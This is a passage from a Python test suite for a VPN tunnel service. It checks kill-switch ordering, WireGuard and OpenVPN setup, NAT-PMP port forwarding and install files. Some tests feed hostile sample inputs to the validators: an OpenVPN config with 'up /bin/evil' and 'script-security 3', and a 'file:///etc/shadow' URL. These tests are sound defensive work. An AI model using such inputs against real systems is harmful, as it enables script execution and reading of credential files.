self.calls.append(cmd)
if cmd[:3] == ('ip', 'link', 'del'):
self.links.discard(cmd[3])
def rulesets(self):
return [call[1] for call in self.calls if call[0] == 'nft']
def index(self, prefix):
return next(i for i, call in enumerate(self.calls) if call[:len(prefix)] == prefix)
@pytest.fixture
def fake_system(monkeypatch):
system = FakeSystem()
monkeypatch.setattr(tunnel, 'run', system.run)
monkeypatch.setattr(tunnel, 'run_quietly', system.run_quietly)
monkeypatch.setattr(tunnel, 'find_uplink', lambda: UPLINK)
monkeypatch.setattr(tunnel.Tunnel, 'alive', lambda self: 'vpn0' in system.links)
monkeypatch.setattr(tunnel.Tunnel, 'connected', lambda self: 'vpn0' in system.links)
monkeypatch.setattr(tunnel.Tunnel, 'check_public_ip', lambda self: None)
return system
def read_status() -> dict:
return json.loads((tunnel.RUN_DIR / tunnel.STATUS_FILE).read_text())
class TestTunnel:
def make_tunnel(self, media, tmp_path) -> tunnel.Tunnel:
t = tunnel.Tunnel(media, tunnel.RUN_DIR, tmp_path / 'resolv.conf')
t.start()
return t
def test_starts_locked_down_and_stays_down_while_disabled(self, media, tmp_path, fake_system):
t = self.make_tunnel(media, tmp_path)
t.step()
assert read_status()['state'] == 'disabled'
assert fake_system.rulesets() == [tunnel.build_ruleset(UPLINK, [])]
assert 'vpn0' not in fake_system.links
def test_tunnel_comes_up_behind_the_kill_switch(self, media, tmp_path, fake_system):
(media / 'config/vpn/wireguard.conf').write_text(WIREGUARD)
write_endpoints(tunnel.RUN_DIR, WIREGUARD, {'vpn.example.com': ['203.0.113.5']})
write_settings(media, enabled=True, config_file='vpn/wireguard.conf')
t = self.make_tunnel(media, tmp_path)
t.step()
endpoints = [Endpoint('203.0.113.5', 51820, 'udp')]
assert fake_system.rulesets()[-1] == tunnel.build_ruleset(UPLINK, endpoints)
# The kill switch is in place before the tunnel exists, and its server is routed around the tunnel.
kill_switch = max(i for i, call in enumerate(fake_system.calls) if call[0] == 'nft')
server_route = fake_system.index(('ip', '-4', 'route', 'replace', '203.0.113.5/32', 'via', '172.18.0.1'))
link = fake_system.index(('ip', 'link', 'add', 'vpn0', 'type', 'wireguard'))
default = fake_system.index(('ip', 'route', 'replace', '0.0.0.0/1', 'dev', 'vpn0'))
assert kill_switch < server_route < link < default
assert ('ip', '-6', 'route', 'replace', '::/1', 'dev', 'vpn0') in fake_system.calls
assert ('ip', 'address', 'add', '10.2.0.2/32', 'dev', 'vpn0') in fake_system.calls
assert ('ip', 'link', 'set', 'dev', 'vpn0', 'mtu', '1380', 'up') in fake_system.calls
assert (tmp_path / 'resolv.conf').read_text() == 'nameserver 10.2.0.1\n'
# The private key is only on disk while `wg setconf` reads it.
assert not (tunnel.RUN_DIR / 'wireguard.conf').exists()
status = read_status()
assert status['state'] == 'connected'
assert status['kind'] == 'wireguard'
assert status['dns'] == ['10.2.0.1']
# Nothing changed: the tunnel is left alone.
calls = len(fake_system.calls)
t.step()
assert len(fake_system.calls) == calls
def test_turning_off_closes_the_kill_switch(self, media, tmp_path, fake_system):
(media / 'config/vpn/wireguard.conf').write_text(WIREGUARD)
write_endpoints(tunnel.RUN_DIR, WIREGUARD, {'vpn.example.com': ['203.0.113.5']})
write_settings(media, enabled=True, config_file='vpn/wireguard.conf')
t = self.make_tunnel(media, tmp_path)
t.step()
write_settings(media, enabled=False, config_file='vpn/wireguard.conf')
t.step()
assert 'vpn0' not in fake_system.links
assert ('ip', '-4', 'route', 'del', '203.0.113.5/32') in fake_system.calls
assert fake_system.rulesets()[-1] == tunnel.build_ruleset(UPLINK, [])
assert read_status()['state'] == 'disabled'
def test_a_failed_tunnel_leaves_nothing_open(self, media, tmp_path, fake_system, monkeypatch):
(media / 'config/vpn/wireguard.conf').write_text(WIREGUARD)
write_endpoints(tunnel.RUN_DIR, WIREGUARD, {'vpn.example.com': ['203.0.113.5']})
write_settings(media, enabled=True, config_file='vpn/wireguard.conf')
t = self.make_tunnel(media, tmp_path)
real_run = fake_system.run
def failing_run(*cmd, input_=None):
if cmd[:2] == ('wg', 'setconf'):
raise tunnel.TunnelError('wg setconf failed: Invalid key')
return real_run(*cmd, input_=input_)
monkeypatch.setattr(tunnel, 'run', failing_run)
t.step()
status = read_status()
assert status['state'] == 'error'
assert 'Invalid key' in status['error']
assert 'vpn0' not in fake_system.links
assert fake_system.rulesets()[-1] == tunnel.build_ruleset(UPLINK, [])
def test_waiting_for_server_lookup(self, media, tmp_path, fake_system):
(media / 'config/vpn/wireguard.conf').write_text(WIREGUARD)
write_settings(media, enabled=True, config_file='vpn/wireguard.conf')
t = self.make_tunnel(media, tmp_path)
t.step()
status = read_status()
assert status['state'] == 'waiting'
assert 'vpn.example.com' in status['error']
assert fake_system.rulesets() == [tunnel.build_ruleset(UPLINK, [])]
def test_openvpn_config_is_private_and_run_without_scripts(self, media, tmp_path, fake_system, monkeypatch):
text = 'client\nremote 198.51.100.7 1194\nup /bin/evil\nscript-security 3\n'
(media / 'config/vpn/openvpn.ovpn').write_text(text)
write_settings(media, enabled=True, config_file='vpn/openvpn.ovpn')
t = self.make_tunnel(media, tmp_path)
class FakeOpenVPN:
def __init__(self, cmd):
self.cmd = cmd
self.connected = __import__('threading').Event()
# OpenVPN brings up the device, logs the pushed DNS, then that it is connected.
fake_system.links.add('vpn0')
self.dns = ['10.8.0.1']
self.connected.set()
def poll(self):
return None
def stop(self):
fake_system.links.discard('vpn0')
monkeypatch.setattr(tunnel, 'OpenVPNProcess', FakeOpenVPN)
monkeypatch.setattr(tunnel, 'interface_addresses', lambda interface: ['10.8.0.6/24'])
monkeypatch.setattr(tunnel.Tunnel, 'alive', lambda self: self.openvpn is not None)
t.step()
cmd = t.openvpn.cmd
# After the config, so they win over it: OpenVPN may run `ip`, never a script.
assert cmd.index('--script-security') > cmd.index('--config')
assert cmd[cmd.index('--script-security') + 1] == '1'
assert '--up' not in cmd
assert cmd[cmd.index('--dev') + 1] == 'vpn0'
assert '--route-noexec' in cmd
config = tunnel.RUN_DIR / tunnel.OPENVPN_CONFIG_FILE
assert stat.S_IMODE(config.stat().st_mode) == 0o600
assert '/bin/evil' not in config.read_text()
assert 'script-security' not in config.read_text()
assert (tmp_path / 'resolv.conf').read_text() == 'nameserver 10.8.0.1\n'
status = read_status()
assert status['state'] == 'connected'
assert status['addresses'] == ['10.8.0.6/24']
def test_public_ip_checked_right_after_boot(self, media, tmp_path, monkeypatch):
"""time.monotonic() counts from boot: a tunnel started in the first minutes of uptime must still check (a "never
checked" of 0.0 looked like a check moments ago)."""
monkeypatch.setattr(tunnel.time, 'monotonic', lambda: 42.0)
t = tunnel.Tunnel(media, tunnel.RUN_DIR, tmp_path / 'resolv.conf')
t.plan = mock.Mock(settings={'public_ip_url': 'https://ip.example.com'})
urlopen = mock.MagicMock()
urlopen.return_value.__enter__.return_value.read.return_value = b'203.0.113.99\n'
monkeypatch.setattr(tunnel.urllib.request, 'urlopen', urlopen)
t.check_public_ip()
assert t.public_ip == '203.0.113.99'
def test_public_ip_must_be_a_web_address_and_an_address(self, media, tmp_path, monkeypatch):
t = tunnel.Tunnel(media, tunnel.RUN_DIR, tmp_path / 'resolv.conf')
t.plan = mock.Mock(settings={'public_ip_url': 'file:///etc/shadow'})
urlopen = mock.MagicMock()
monkeypatch.setattr(tunnel.urllib.request, 'urlopen', urlopen)
t.check_public_ip()
urlopen.assert_not_called()
assert t.public_ip is None
t.plan.settings['public_ip_url'] = 'https://ip.example.com'
t.public_ip_checked = tunnel.NEVER
urlopen.return_value.__enter__.return_value.read.return_value = b'<html>not an address</html>'
t.check_public_ip()
assert t.public_ip is None
t.public_ip_checked = tunnel.NEVER
urlopen.return_value.__enter__.return_value.read.return_value = b'203.0.113.99\n'
t.check_public_ip()
assert t.public_ip == '203.0.113.99'
class TestInstalled:
def test_unit_runs_the_tunnel_in_the_namespace(self):
unit = (REPOSITORY / 'etc/raspberrypios/wrolpi-vpn.service').read_text()
assert 'ExecStartPre=/opt/wrolpi/etc/raspberrypios/wrolpi-vpn-netns.sh up' in unit
assert 'ip netns exec wrolpi-vpn /opt/wrolpi/controller/venv/bin/python /opt/wrolpi/controller/vpn/tunnel.py' \
in unit
assert '--resolv-conf /etc/netns/wrolpi-vpn/resolv.conf' in unit
assert os.access(REPOSITORY / 'etc/raspberrypios/wrolpi-vpn-netns.sh', os.X_OK)
def test_namespace_is_closed_before_it_has_a_way_out(self):
"""The namespace gets a drop-everything kill switch before its route to the host's masquerade, so nothing gets
out before (or if) the tunnel installs its own."""
script = (REPOSITORY / 'etc/raspberrypios/wrolpi-vpn-netns.sh').read_text()
closed = script.index('policy drop')
assert 'table inet wrolpi_vpn {' in script[:closed + 200]
assert closed < script.index('route replace default')
assert closed < script.index('link set "${NAMESPACE_INTERFACE}" up')
# Never replaces the tunnel's own (a restart must not open its forwarded port's rules to everything, nor close
# a working tunnel).
assert 'nft list table inet wrolpi_vpn' in script
def test_torrents_wait_for_the_kill_switch(self):
"""Like the Docker entrypoint: qBittorrent starts only once this run of the tunnel has written its status,
which it does only after installing its kill switch."""
vpn = (REPOSITORY / 'etc/raspberrypios/wrolpi-vpn.service').read_text()
assert vpn.index('ExecStartPre=/bin/rm -f /run/wrolpi-vpn/status.json') < vpn.index('wrolpi-vpn-netns.sh up')
torrent = (REPOSITORY / 'etc/raspberrypios/wrolpi-torrent.service').read_text()
wait = torrent.index('/run/wrolpi-vpn/status.json')
assert wait < torrent.index('ExecStart=/usr/bin/qbittorrent-nox')
assert 'ExecStartPre=' in torrent[torrent.rindex('\n', 0, wait):wait]
def test_units_installed_and_enabled(self):
for script in ('repair.sh', 'pi-gen/stage2/04-wrolpi/03-run-chroot.sh',
'debian-live-config/config/includes.chroot/usr/local/sbin/wrolpi-bootstrap.sh',
'etc/raspberrypios/wrolpi.target'):
assert 'wrolpi-vpn.service' in (REPOSITORY / script).read_text(), script
def test_packages(self):
for packages in ('pi-gen/stage2/04-wrolpi/01-packages-nr',
'debian-live-config/config/package-lists/wrolpi.list.chroot'):
lines = (REPOSITORY / packages).read_text().splitlines()
for package in ('nftables', 'openvpn', 'wireguard-tools'):
assert package in lines, (packages, package)
upgrade = (REPOSITORY / 'scripts/upgrade.sh').read_text()
assert 'nftables openvpn wireguard-tools' in upgrade
def test_docker(self):
dockerfile = (REPOSITORY / 'docker/vpn/Dockerfile').read_text()
assert 'COPY controller/vpn/tunnel.py /app/tunnel.py' in dockerfile
for package in ('nftables', 'openvpn', 'wireguard-tools', 'python3-yaml'):
assert package in dockerfile
compose = yaml.safe_load((REPOSITORY / 'docker-compose.yml').read_text())
vpn = compose['services']['vpn']
assert 'NET_ADMIN' in vpn['cap_add']
assert 'MEDIA_DIRECTORY=/vpn-media' in vpn['environment']
assert '${MEDIA_DIRECTORY:-./test}/config:/vpn-media/config:ro' in vpn['volumes']
assert 'vpn-run:/run/wrolpi-vpn' in vpn['volumes']
assert 'vpn-run:/run/wrolpi-vpn' in compose['services']['controller']['volumes']
def test_standalone(self):
"""The Docker image copies tunnel.py alone, so it imports only the standard library and PyYAML."""
source = (REPOSITORY / 'controller/vpn/tunnel.py').read_text()
imports = {line.split()[1].split('.')[0] for line in source.splitlines()
if line.startswith(('import ', 'from '))}
assert 'controller' not in imports
assert imports - {'yaml'} <= set(__import__('sys').stdlib_module_names)
class FakeNATPMPGateway:
"""A NAT-PMP gateway on localhost which forwards `port`, or answers with `result`."""
def __init__(self, port=51413, result=0, lifetime=60, stray_first=False, answer=True):
import socket
import threading
self.port, self.result, self.lifetime, self.stray_first, self.answer = port, result, lifetime, stray_first, \
answer
self.requests = []
self.sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
self.sock.bind(('127.0.0.1', 0))
self.address = self.sock.getsockname()
threading.Thread(target=self.serve, daemon=True).start()
def serve(self):
import struct
while True:
try:
request, client = self.sock.recvfrom(64)
except OSError:
return
self.requests.append(struct.unpack('!BBHHHI', request))
if not self.answer:
continue
op = request[1]
if self.stray_first:
# An answer to some other request comes first; it must be ignored.
self.sock.sendto(struct.pack('!BBHI', 0, 128, 0, 1) + bytes(4), client)
self.sock.sendto(struct.pack('!BBHIHHI', 0, 128 + op, self.result, 1, 0, self.port, self.lifetime), client)
def close(self):
self.sock.close()
@pytest.fixture
def natpmp_gateway(monkeypatch):
gateways = []
def make(**kwargs):
gateway = FakeNATPMPGateway(**kwargs)
gateways.append(gateway)
monkeypatch.setattr(tunnel, 'NATPMP_PORT', gateway.address[1])
return gateway
yield make
for gateway in gateways:
gateway.close()
class TestNATPMP:
def test_map(self, natpmp_gateway):
gateway = natpmp_gateway(port=51413, stray_first=True)
assert tunnel.natpmp_map('127.0.0.1', 'udp') == (51413, 60)
assert tunnel.natpmp_map('127.0.0.1', 'tcp') == (51413, 60)
# As Proton documents (`natpmpc -a 1 0 udp 60`): no internal port, external port 1, 60 seconds.
assert gateway.requests == [(0, 1, 0, 0, 1, 60), (0, 2, 0, 0, 1, 60)]
def test_refused(self, natpmp_gateway):
natpmp_gateway(result=2)
with pytest.raises(tunnel.NATPMPError, match='not authorized'):
tunnel.natpmp_map('127.0.0.1', 'tcp')
def test_no_answer(self, natpmp_gateway):
gateway = natpmp_gateway(answer=False)
with pytest.raises(tunnel.NATPMPError, match='P2P server'):
tunnel.natpmp_request('127.0.0.1', bytes([0, 2]) + bytes(10), timeout=0.05, tries=3)
# Retried.
assert len(gateway.requests) == 3
def test_pushed_gateway(self):
line = "PUSH: Received control message: 'PUSH_REPLY,route-gateway 10.8.0.1,topology subnet'"
assert tunnel.pushed_gateway(line) == '10.8.0.1'
assert tunnel.pushed_gateway('Initialization Sequence Completed') is None
class TestPortForwarding:
@pytest.fixture
def connected_tunnel(self, media, tmp_path, fake_system):
(media / 'config/vpn/wireguard.conf').write_text(WIREGUARD)
write_endpoints(tunnel.RUN_DIR, WIREGUARD, {'vpn.example.com': ['203.0.113.5']})
write_settings(media, enabled=True, config_file='vpn/wireguard.conf', port_forwarding='natpmp')
t = tunnel.Tunnel(media, tunnel.RUN_DIR, tmp_path / 'resolv.conf')
t.start()
return t
def test_forwarded_port_is_renewed_at_half_its_lifetime(self, connected_tunnel, monkeypatch):
calls = []
monkeypatch.setattr(tunnel, 'natpmp_map', lambda gateway, proto: calls.append((gateway, proto)) or (51413, 60))
now = [1000.0]
monkeypatch.setattr(tunnel.time, 'monotonic', lambda: now[0])
connected_tunnel.step()
# Proton's gateway is its DNS server.
assert calls == [('10.2.0.1', 'udp'), ('10.2.0.1', 'tcp')]
assert read_status()['forwarded_port'] == 51413
now[0] += 29
connected_tunnel.step()
assert len(calls) == 2
now[0] += 2
connected_tunnel.step()
assert len(calls) == 4
assert read_status()['forwarded_port'] == 51413
def test_a_changed_port_is_reported(self, connected_tunnel, monkeypatch):
ports = iter([51413, 51413, 60000, 60000])
monkeypatch.setattr(tunnel, 'natpmp_map', lambda gateway, proto: (next(ports), 60))
connected_tunnel.step()
connected_tunnel.port_forwarding_renewed = 0.0
connected_tunnel.step()
assert read_status()['forwarded_port'] == 60000
def test_refused_keeps_the_vpn_up_and_says_why(self, connected_tunnel, monkeypatch):
def refuse(gateway, proto):
raise tunnel.NATPMPError('The VPN refused to forward a port: not authorized')
monkeypatch.setattr(tunnel, 'natpmp_map', refuse)
connected_tunnel.step()
status = read_status()
assert status['state'] == 'connected'
assert status['forwarded_port'] is None
assert status['warnings'] == ['The VPN refused to forward a port: not authorized']
def test_gateway_setting_wins(self, connected_tunnel, media, monkeypatch):
calls = []
monkeypatch.setattr(tunnel, 'natpmp_map', lambda gateway, proto: calls.append(gateway) or (51413, 60))
write_settings(media, enabled=True, config_file='vpn/wireguard.conf', port_forwarding='natpmp',
natpmp_gateway='10.64.0.1')
connected_tunnel.step()
assert set(calls) == {'10.64.0.1'}
def test_only_the_forwarded_port_is_open(self, connected_tunnel, monkeypatch, fake_system):
ports = iter([51413, 51413, 60000, 60000])
monkeypatch.setattr(tunnel, 'natpmp_map', lambda gateway, proto: (next(ports), 60))
connected_tunnel.step()
assert fake_system.rulesets()[-1] == \
'flush set inet wrolpi_vpn listen_ports\nadd element inet wrolpi_vpn listen_ports { 51413 }\n'
# Unchanged: the kill switch is left alone.
count = len(fake_system.rulesets())
connected_tunnel.step()
assert len(fake_system.rulesets()) == count
# A new port replaces the old one.
connected_tunnel.port_forwarding_renewed = 0.0
connected_tunnel.step()
assert fake_system.rulesets()[-1].endswith('listen_ports { 60000 }\n')
def test_refused_port_closes_it(self, connected_tunnel, monkeypatch, fake_system):
monkeypatch.setattr(tunnel, 'natpmp_map', lambda gateway, proto: (51413, 60))
connected_tunnel.step()
def refuse(gateway, proto):
raise tunnel.NATPMPError('refused')
monkeypatch.setattr(tunnel, 'natpmp_map', refuse)
connected_tunnel.port_forwarding_renewed = 0.0
connected_tunnel.step()
assert fake_system.rulesets()[-1] == 'flush set inet wrolpi_vpn listen_ports\n'
def test_wrol_mode_takes_the_tunnel_down(self, connected_tunnel, media, fake_system):
connected_tunnel.step()
assert 'vpn0' in fake_system.links
(media / 'config' / '.wrol_mode').touch()
connected_tunnel.step()
assert 'vpn0' not in fake_system.links
assert fake_system.rulesets()[-1] == tunnel.build_ruleset(UPLINK, [])
status = read_status()
assert status['state'] == 'wrol_mode'
assert 'WROL Mode' in status['error']
# Back up once WROL Mode ends.
(media / 'config' / '.wrol_mode').unlink()
connected_tunnel.step()
assert 'vpn0' in fake_system.links
def test_wrol_mode_in_wrolpi_yaml_takes_the_tunnel_down(self, connected_tunnel, media, fake_system):
"""wrolpi.yaml is the source of truth; the flag file may not have been written (e.g. a hand-edited config
while the API is down)."""
connected_tunnel.step()
assert 'vpn0' in fake_system.links
(media / 'config' / 'wrolpi.yaml').write_text('wrol_mode: true\n')
connected_tunnel.step()
assert 'vpn0' not in fake_system.links
assert read_status()['state'] == 'wrol_mode'
(media / 'config' / 'wrolpi.yaml').write_text('wrol_mode: false\n')
connected_tunnel.step()
assert 'vpn0' in fake_system.links
def test_wrol_mode_in_the_apis_config_directory(self, media, tmp_path, fake_system, monkeypatch):
"""In Docker the Controller's config directory is not the API's; the tunnel also reads the API's, where the
API writes .wrol_mode and wrolpi.yaml."""
api_config = tmp_path / 'api-config'
api_config.mkdir()
monkeypatch.setenv('WROLPI_CONFIG_DIRECTORY', str(api_config))
(media / 'config/vpn/wireguard.conf').write_text(WIREGUARD)
write_endpoints(tunnel.RUN_DIR, WIREGUARD, {'vpn.example.com': ['203.0.113.5']})
write_settings(media, enabled=True, config_file='vpn/wireguard.conf')
t = tunnel.Tunnel(media, tunnel.RUN_DIR, tmp_path / 'resolv.conf')
t.start()
t.step()
assert 'vpn0' in fake_system.links
(api_config / '.wrol_mode').touch()
t.step()
assert 'vpn0' not in fake_system.links
assert read_status()['state'] == 'wrol_mode'
(api_config / '.wrol_mode').unlink()
(api_config / 'wrolpi.yaml').write_text('wrol_mode: true\n')
t.step()
assert read_status()['state'] == 'wrol_mode'
def test_docker_gives_the_tunnel_the_apis_config(self):
compose = yaml.safe_load((REPOSITORY / 'docker-compose.yml').read_text())
vpn = compose['services']['vpn']
assert 'WROLPI_CONFIG_DIRECTORY=/media/wrolpi/config' in vpn['environment']
assert any(v.split(':')[1] == '/media/wrolpi/config' for v in vpn['volumes'] if isinstance(v, str))
def test_unreadable_wrolpi_yaml_is_not_wrol_mode(self, connected_tunnel, media, fake_system):
(media / 'config' / 'wrolpi.yaml').write_text('{not yaml')
connected_tunnel.step()
assert 'vpn0' in fake_system.links
def test_not_asked_unless_natpmp(self, connected_tunnel, media, monkeypatch):
monkeypatch.setattr(tunnel, 'natpmp_map', mock.Mock(side_effect=AssertionError('asked')))
write_settings(media, enabled=True, config_file='vpn/wireguard.conf', port_forwarding='fixed',
forwarded_port=51413)
connected_tunnel.step()
assert read_status()['forwarded_port'] == 51413